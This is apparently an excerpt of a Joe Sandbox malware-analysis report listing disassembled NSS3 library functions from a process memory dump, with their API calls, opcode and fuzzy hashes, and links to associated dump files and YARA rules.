Opcode ID: 12edc9a4adf800651973133e54433e6c0d390ba6787c190fcac841ea20aea7d4
Instruction ID: d47e9cd36aa65e701b06b2e8edef456938f257eef46473ac8181e0db5d816d7b
Opcode Fuzzy Hash: 12edc9a4adf800651973133e54433e6c0d390ba6787c190fcac841ea20aea7d4
Instruction Fuzzy Hash: 0D410471B012059BEB00DE65C840BBB77B9AF54208F104128E919E7B41FB31E815CBE3

Function 6C9BC9E0 Relevance: 7.6, APIs: 5, Instructions: 132COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,00000000), ref: 6C9BCA21
EnterCriticalSection.KERNEL32(0000001C), ref: 6C9BCA35
PR_Unlock.NSS3(00000000), ref: 6C9BCA66
PR_SetError.NSS3(FFFFE041,00000000,00000000,?,?,00000000), ref: 6C9BCA77
PR_Unlock.NSS3(00000000), ref: 6C9BCAFC

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: 60e575f02589dcf102184f5b669e8f68101631e64aa6217966f835bb31b39b17
Instruction ID: e81d181d5241df858e0921e2851b86119dc5b054acf04284cebda5c42698e3cd
Opcode Fuzzy Hash: 60e575f02589dcf102184f5b669e8f68101631e64aa6217966f835bb31b39b17
Instruction Fuzzy Hash: C241D075E00206ABEB00EF64DD41AAB7BB8EF45398F154128ED18B7711EB30E915CBE1

Function 6C99EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C99EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C99EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C99EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C99EEEB
free.MOZGLUE(?), ref: 6C99EEF6

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 56491a90f200d911bd70136b2e9bab33eb0e35d7c5c091858493dee3dfb78002
Instruction ID: e7f701b0e01b7b50890fa1006c1e0f6dce26e6313c3dc5f18562dec20ff5e53c
Opcode Fuzzy Hash: 56491a90f200d911bd70136b2e9bab33eb0e35d7c5c091858493dee3dfb78002
Instruction Fuzzy Hash: 203104B1A003019BEB209F69DC44B667BF8FB46359F18052DE95A87B50EB31E854CBD2

Function 6C9B1F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9B1F1C

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6CAC9EBC), ref: 6C9B1FB8
SEC_ASN1EncodeItem_Util.NSS3(6CAC9E9C,?,?,6CAC9E9C), ref: 6C9B200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C9B2020

Part of subcall function 6C9A6A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C9AAD50,?,?), ref: 6C9A6A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9B2030

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 996e6cb19433e86de8794bc6bbf630a99844e8b36468b2e0153be6fd48c70bd4
Instruction ID: 67887d6a5f3d6c6a482945190890817c072efd6b19604b2d25ca61be09d243b8
Opcode Fuzzy Hash: 996e6cb19433e86de8794bc6bbf630a99844e8b36468b2e0153be6fd48c70bd4
Instruction Fuzzy Hash: 3221E675A01A01BBE7014A55DD40FAB7B6CFF5631CF140215E828A6F80E731E578C7A2

Function 6C9E1EA0 Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6C9C6295,?,00000000,00000000,00000001,6C9E2653,?), ref: 6C9E1ECB

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

TlsGetValue.KERNEL32(?,00000001,?,?,6C9C6295,?,00000000,00000000,00000001,6C9E2653,?), ref: 6C9E1EF1
EnterCriticalSection.KERNEL32(?), ref: 6C9E1F01
PR_SetError.NSS3(00000000,00000000), ref: 6C9E1F39

Part of subcall function 6C9EFE20: TlsGetValue.KERNEL32(6C9C5ADC,?,00000000,00000001,?,?,00000000,?,6C9BBA55,?,?), ref: 6C9EFE4B
Part of subcall function 6C9EFE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9EFE5F

PR_Unlock.NSS3(?), ref: 6C9E1F67

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID:
API String ID: 704537481-0
Opcode ID: f12df78ff214e9dbc81ce13830ac9ba2127a9379ec11310fb5a7565d0a15dfb2
Instruction ID: ad2f4061ad441dc369042f35760946561b41c28203b10f3e706c34ae7f9dfe8e
Opcode Fuzzy Hash: f12df78ff214e9dbc81ce13830ac9ba2127a9379ec11310fb5a7565d0a15dfb2
Instruction Fuzzy Hash: D8213775A002049BEB01AF29EC44F9A376DEF6A36CF184924FD1887B12E730D964C7E1

Function 6C9A1DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C9A1E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C9A1E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9A1E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C9A1E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C9A1EAD

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: ac3372b35d235e2c6f63a2032720c4a720ea5b37ee3a7313521e50eac242cada
Instruction ID: bf400cc092510d8036c3b87c60774e1bbde524251c9eb13c23275f095a61e05d
Opcode Fuzzy Hash: ac3372b35d235e2c6f63a2032720c4a720ea5b37ee3a7313521e50eac242cada
Instruction Fuzzy Hash: A2212572E04310E7D7009EA8DC40B9BB3989B9676CF258638ED6D57780E731D94E87D2

Function 6C9B3920 Relevance: 7.6, APIs: 5, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9B3939

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C9B394D

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

Part of subcall function 6C9E24E0: TlsGetValue.KERNEL32 ref: 6C9E24FF
Part of subcall function 6C9E24E0: EnterCriticalSection.KERNEL32(?), ref: 6C9E250F
Part of subcall function 6C9E24E0: PR_Unlock.NSS3(?), ref: 6C9E253C
Part of subcall function 6C9E24E0: PR_SetError.NSS3(00000000,00000000), ref: 6C9E2554

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9B39A3
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9B39BE
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C9B39CB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ArenaErrorUtilValue$Arena_CriticalEnterSectionUnlock$Alloc_AllocateFreeInitLockPoolcalloc
String ID:
API String ID: 1657373565-0
Opcode ID: 3a037b4ec4f3de494f6e2813df8e008bc0e7ce8e7d569cce4998348afef98f2e
Instruction ID: efe40b96046607a62639543d4812635a4aa041868352bec5af604da18788468f
Opcode Fuzzy Hash: 3a037b4ec4f3de494f6e2813df8e008bc0e7ce8e7d569cce4998348afef98f2e
Instruction Fuzzy Hash: CB2181B5A00201EFDB00DF29DC41B57BBA4BF14759F148225E918EBB42EB71E598CBE1

Function 6C9C1850 Relevance: 7.6, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?,?,6C9C002B,?), ref: 6C9C1875

Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690AB
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690C9
Part of subcall function 6CA69090: EnterCriticalSection.KERNEL32 ref: 6CA690E5
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA69116
Part of subcall function 6CA69090: LeaveCriticalSection.KERNEL32 ref: 6CA6913F

TlsGetValue.KERNEL32(?,?,6C9C002B,?), ref: 6C9C188E
EnterCriticalSection.KERNEL32(?,?,?,6C9C002B,?), ref: 6C9C18A7
PR_ExitMonitor.NSS3(?,?,?,?,6C9C002B,?), ref: 6C9C1905
PR_Unlock.NSS3(?,?,?,?,6C9C002B,?), ref: 6C9C1912

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 1b2200e8e5cbabcdd1693c1a20e91576609dbba15c264d8e45ee0c29585516c8
Instruction ID: 40df90416a08cb1db9eb67aed9219f1cab5157f0a9138ead33a77456ee6e56cf
Opcode Fuzzy Hash: 1b2200e8e5cbabcdd1693c1a20e91576609dbba15c264d8e45ee0c29585516c8
Instruction Fuzzy Hash: 44217C74A086069BDB00AF79D0C4699B7B4FB06318F118A69D89487B00E730E895CBD7

Function 6CAB1E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CAB1E5C

Part of subcall function 6CA69BF0: TlsGetValue.KERNEL32(?,?,?,6CAB0A75), ref: 6CA69C07

PR_Lock.NSS3(00000000), ref: 6CAB1E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CAB1EAB
PR_GetCurrentThread.NSS3 ref: 6CAB1ED0
PR_Unlock.NSS3(?), ref: 6CAB1EE8

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 8ccfa05e3ed07891664f9c89fa67b9bf1fef0203b3ff51357c54743e9f5d8cef
Instruction ID: 4c064008774ab43b77ede2cb6e7b925e1f829d68213f71114381704c46f796a7
Opcode Fuzzy Hash: 8ccfa05e3ed07891664f9c89fa67b9bf1fef0203b3ff51357c54743e9f5d8cef
Instruction Fuzzy Hash: 7021CF75B14512AFD700CF29D980A76B7B8FF44718B298229EA19ABF40D331F894CBD1

Function 6C9FBE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C9AE708,00000000,00000000,00000004,00000000), ref: 6C9FBE6A

Part of subcall function 6CA00840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA008B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C9B04DC,?), ref: 6C9FBE7E

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C9FBEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C9B04DC,?,?), ref: 6C9FBED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C9FBEEB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: ea2cc9a434b95295972eb077d0c15c3f29531290fd76ad70151f69a113d8652a
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: BA115366A0420667F700AD65AC80F2B73BDEB9079CF044021FE2883B52E731D82A87E1

Function 6C9AAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C9A3FFF,00000000,?,?,?,?,?,6C9A1A1C,00000000,00000000), ref: 6C9AADA7

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C9A3FFF,00000000,?,?,?,?,?,6C9A1A1C,00000000,00000000), ref: 6C9AADB4

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C9A3FFF,?,?,?,?,6C9A3FFF,00000000,?,?,?,?,?,6C9A1A1C,00000000), ref: 6C9AADD5

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CAC94B0,?,?,?,?,?,?,?,?,6C9A3FFF,00000000,?), ref: 6C9AADEC

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A3FFF), ref: 6C9AAE3C

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 5b33370e79897cd6ea02a090ddf67c1e9fb2e981e32b8250e6caabffe31d34bb
Instruction ID: 43a3ea9e5b607f53d1145e8c006910fb2f541afc505ce67dc3bad7e209dda3b5
Opcode Fuzzy Hash: 5b33370e79897cd6ea02a090ddf67c1e9fb2e981e32b8250e6caabffe31d34bb
Instruction Fuzzy Hash: 05112971E002055BE7109BA5AC40BBF73ACDF6114DF044228FC5996B41FB60E59E86A2

Function 6C9C8E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C9E2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C9B4F1C), ref: 6C9C8EA2

Part of subcall function 6C9EF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C9EF854
Part of subcall function 6C9EF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C9EF868
Part of subcall function 6C9EF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C9EF882
Part of subcall function 6C9EF820: free.MOZGLUE(04C483FF,?,?), ref: 6C9EF889
Part of subcall function 6C9EF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C9EF8A4
Part of subcall function 6C9EF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C9EF8AB
Part of subcall function 6C9EF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C9EF8C9
Part of subcall function 6C9EF820: free.MOZGLUE(280F10EC,?,?), ref: 6C9EF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C9E2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C9B4F1C), ref: 6C9C8EC3
TlsGetValue.KERNEL32(?,?,?,6C9E2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C9B4F1C), ref: 6C9C8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C9E2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C9C8EF1
PR_Unlock.NSS3 ref: 6C9C8F20

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: b7508cbc6146ea9e2346ddefb01b3594e30a10b32e08fe94a17d5c366b1dad2c
Instruction ID: 54caf270fc73a3ca2cf391de7e3dfe6b229cd0b8257c3319a78557d70ec85fdf
Opcode Fuzzy Hash: b7508cbc6146ea9e2346ddefb01b3594e30a10b32e08fe94a17d5c366b1dad2c
Instruction Fuzzy Hash: A4217C70A097059FD704AF29D4841A9BBF8FF58318F05856EE8989BB41D730E854CBD7

Function 6C9F8800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8821
TlsGetValue.KERNEL32(?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F883D
EnterCriticalSection.KERNEL32(?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C9F8887
PR_Unlock.NSS3(?,?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8899

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
